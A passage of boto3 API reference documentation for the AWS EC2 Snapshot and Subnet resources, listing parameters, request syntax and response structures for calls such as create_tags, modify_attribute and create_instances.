Alias ARN. For example, arn:aws:kms:us-east-1:012345678910:alias/ExampleAlias. + + AWS authenticates the CMK asynchronously. Therefore, if you specify an ID, alias, or ARN that is not valid, the action can appear to complete, but eventually fails. + +* **PresignedUrl** (_string_) -- + + When you copy an encrypted source snapshot using the Amazon EC2 Query API, you must supply a pre-signed URL. This parameter is optional for unencrypted snapshots. For more information, see [Query requests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Query-Requests.html) . + + The PresignedUrl should use the snapshot source endpoint, the CopySnapshot action, and include the SourceRegion , SourceSnapshotId , and DestinationRegion parameters. The PresignedUrl must be signed using AWS Signature Version 4. Because EBS snapshots are stored in Amazon S3, the signing algorithm for this parameter uses the same logic that is described in [Authenticating Requests: Using Query Parameters (AWS Signature Version 4)](https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html) in the _Amazon Simple Storage Service API Reference_ . An invalid or improperly signed PresignedUrl will cause the copy operation to fail asynchronously, and the snapshot will move to an error state. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **SourceRegion** (_string_) -- + + **[REQUIRED]** + + The ID of the Region that contains the snapshot to be copied. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the new snapshot. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1076)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1078)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SnapshotId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SnapshotId** _(string) --_ + + The ID of the new snapshot. + + * **Tags** _(list) --_ + + Any tags applied to the new snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = snapshot.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified snapshot. + +When you make periodic snapshots of a volume, the snapshots are incremental, and only the blocks on the device that have changed since your last snapshot are saved in the new snapshot. When you delete a snapshot, only the data not needed for any other snapshot is removed. So regardless of which prior snapshots have been deleted, all active snapshots will have access to all the information needed to restore the volume. + +You cannot delete a snapshot of the root device of an EBS volume used by a registered AMI. You must first de-register the AMI before you can delete the snapshot. + +For more information, see [Deleting an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSnapshot) + +**Request Syntax** + +response = snapshot.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified snapshot. You can specify only one attribute at a time. + +For more information about EBS snapshots, see [Amazon EBS snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshotAttribute) + +**Request Syntax** + +response = snapshot.describe_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The snapshot attribute you would like to view. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CreateVolumePermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'SnapshotId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CreateVolumePermissions** _(list) --_ + + The users and groups that have the permissions for creating volumes from the snapshot. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **ProductCodes** _(list) --_ + + The product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **SnapshotId** _(string) --_ + + The ID of the EBS snapshot. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +snapshot.load() + +Returns + +None + +modify_attribute(kwargs_) + +Adds or removes permission settings for the specified snapshot. You may add or remove specified AWS account IDs from a snapshot's list of create volume permissions, but you cannot do both in a single operation. If you need to both add and remove account IDs for a snapshot, you must use multiple operations. You can make up to 500 modifications to a snapshot in a single operation. + +Encrypted snapshots and snapshots with AWS Marketplace product codes cannot be made public. Snapshots encrypted with your default CMK cannot be shared with other accounts. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifySnapshotAttribute) + +**Request Syntax** + +response = snapshot.modify_attribute( + Attribute='productCodes'|'createVolumePermission', + CreateVolumePermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + GroupNames=[ + 'string', + ], + OperationType='add'|'remove', + UserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- The snapshot attribute to modify. Only volume creation permissions can be modified. +* **CreateVolumePermission** (_dict_) -- + + A JSON representation of the snapshot attribute modification. + + * **Add** _(list) --_ + + Adds the specified AWS account ID or group to the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **Remove** _(list) --_ + + Removes the specified AWS account ID or group from the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + +* **GroupNames** (_list_) -- + + The group to modify for the snapshot. + + * _(string) --_ +* **OperationType** (_string_) -- The type of operation to perform to the attribute. +* **UserIds** (_list_) -- + + The account ID to modify for the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +snapshot.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets permission settings for the specified snapshot. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetSnapshotAttribute) + +**Request Syntax** + +response = snapshot.reset_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset. Currently, only the attribute for permission to create volumes can be reset. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_completed(kwargs_) + +Waits until this Snapshot is completed. This method calls EC2.Waiter.snapshot_completed.wait() which polls. [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot.wait_until_completed( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * description - A description of the snapshot. + * encrypted - Indicates whether the snapshot is encrypted (true | false ) + * owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + * owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + * progress - The progress of the snapshot, as a percentage (for example, 80%). + * snapshot-id - The snapshot ID. + * start-time - The time stamp when the snapshot was initiated. + * status - The status of the snapshot (pending | completed | error ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * volume-id - The ID of the volume the snapshot is for. + * volume-size - The size of the volume, in GiB. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +[Subnet](#id1253) +---------------------------------------------------------- + +_class_ EC2.Subnet(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Subnet: + +import boto3 + +ec2 = boto3.resource('ec2') +subnet = ec2.Subnet('id') + +Parameters + +**id** (_string_) -- The Subnet's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Subnet.id "EC2.Subnet.id") + +These are the resource's available attributes: + +* [assign_ipv6_address_on_creation](#EC2.Subnet.assign_ipv6_address_on_creation "EC2.Subnet.assign_ipv6_address_on_creation") +* [availability_zone](#EC2.Subnet.availability_zone "EC2.Subnet.availability_zone") +* [availability_zone_id](#EC2.Subnet.availability_zone_id "EC2.Subnet.availability_zone_id") +* [available_ip_address_count](#EC2.Subnet.available_ip_address_count "EC2.Subnet.available_ip_address_count") +* [cidr_block](#EC2.Subnet.cidr_block "EC2.Subnet.cidr_block") +* [customer_owned_ipv4_pool](#EC2.Subnet.customer_owned_ipv4_pool "EC2.Subnet.customer_owned_ipv4_pool") +* [default_for_az](#EC2.Subnet.default_for_az "EC2.Subnet.default_for_az") +* [ipv6_cidr_block_association_set](#EC2.Subnet.ipv6_cidr_block_association_set "EC2.Subnet.ipv6_cidr_block_association_set") +* [map_customer_owned_ip_on_launch](#EC2.Subnet.map_customer_owned_ip_on_launch "EC2.Subnet.map_customer_owned_ip_on_launch") +* [map_public_ip_on_launch](#EC2.Subnet.map_public_ip_on_launch "EC2.Subnet.map_public_ip_on_launch") +* [outpost_arn](#EC2.Subnet.outpost_arn "EC2.Subnet.outpost_arn") +* [owner_id](#EC2.Subnet.owner_id "EC2.Subnet.owner_id") +* [state](#EC2.Subnet.state "EC2.Subnet.state") +* [subnet_arn](#EC2.Subnet.subnet_arn "EC2.Subnet.subnet_arn") +* [subnet_id](#EC2.Subnet.subnet_id "EC2.Subnet.subnet_id") +* [tags](#EC2.Subnet.tags "EC2.Subnet.tags") +* [vpc_id](#EC2.Subnet.vpc_id "EC2.Subnet.vpc_id") + +These are the resource's available references: + +* [vpc](#EC2.Subnet.vpc "EC2.Subnet.vpc") + +These are the resource's available actions: + +* [create_instances()](#EC2.Subnet.create_instances "EC2.Subnet.create_instances") +* [create_network_interface()](#EC2.Subnet.create_network_interface "EC2.Subnet.create_network_interface") +* [create_tags()](#EC2.Subnet.create_tags "EC2.Subnet.create_tags") +* [delete()](#EC2.Subnet.delete "EC2.Subnet.delete") +* [get_available_subresources()](#EC2.Subnet.get_available_subresources "EC2.Subnet.get_available_subresources") +* [load()](#EC2.Subnet.load "EC2.Subnet.load") +* [reload()](#EC2.Subnet.reload "EC2.Subnet.reload") + +These are the resource's available collections: + +* [instances](#EC2.Subnet.instances "EC2.Subnet.instances") +* [network_interfaces](#EC2.Subnet.network_interfaces "EC2.Subnet.network_interfaces") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Subnet's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Subnet.load "EC2.Subnet.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +assign_ipv6_address_on_creation + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + +availability_zone + +* _(string) --_ + + The Availability Zone of the subnet. + + +availability_zone_id + +* _(string) --_ + + The AZ ID of the subnet. + + +available_ip_address_count + +* _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + +cidr_block + +* _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + +default_for_az + +* _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a subnet. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + +map_customer_owned_ip_on_launch + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + +map_public_ip_on_launch + +* _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the subnet. + + +state + +* _(string) --_ + + The current state of the subnet. + + +subnet_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + +subnet_id + +* _(string) --_ + + The ID of the subnet. + + +tags + +* _(list) --_ + + Any tags assigned to the subnet. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC the subnet is in. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_instances(kwargs_) + +Launches the specified number of instances using an AMI for which you have permissions. + +You can specify a number of options, or leave the default options. The following rules apply: + +* [EC2-VPC] If you don't specify a subnet ID, we choose a default subnet from your default VPC for you. If you don't have a default VPC, you must specify a subnet ID in the request. +* [EC2-Classic] If don't specify an Availability Zone, we choose one for you. +* Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see [Instance types available only in a VPC](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html#vpc-only-instance-types) . +* [EC2-VPC] All instances have a network interface with a primary private IPv4 address. If you don't specify this address, we choose one from the IPv4 range of your subnet. +* Not all instance types support IPv6 addresses. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . +* If you don't specify a security group ID, we use the default security group. For more information, see [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) . +* If any of the AMIs have a product code attached for which the user has not subscribed, the request fails. + +You can create a [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) , which is a resource that contains the parameters to launch an instance. When you launch an instance using RunInstances , you can specify the launch template instead of specifying the launch parameters. + +To ensure faster instance launches, break up large requests into smaller batches. For example, create five separate launch requests for 100 instances each instead of one launch request for 500 instances. + +An instance is ready for you to use when it's in the running state. You can check the state of your instance using DescribeInstances . You can tag instances and EBS volumes during launch, after launch, or both. For more information, see CreateTags and [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) . + +Linux instances have access to the public key of the key pair at boot. You can use this key to provide secure access to the instance. Amazon EC2 public images use this feature to provide secure access without passwords. For more information, see [Key pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For troubleshooting, see [What to do if an instance immediately terminates](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_InstanceStraightToTerminated.html) , and [Troubleshooting connecting to your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RunInstances) + +**Request Syntax** + +instance = subnet.create_instances( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + ImageId='string', + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a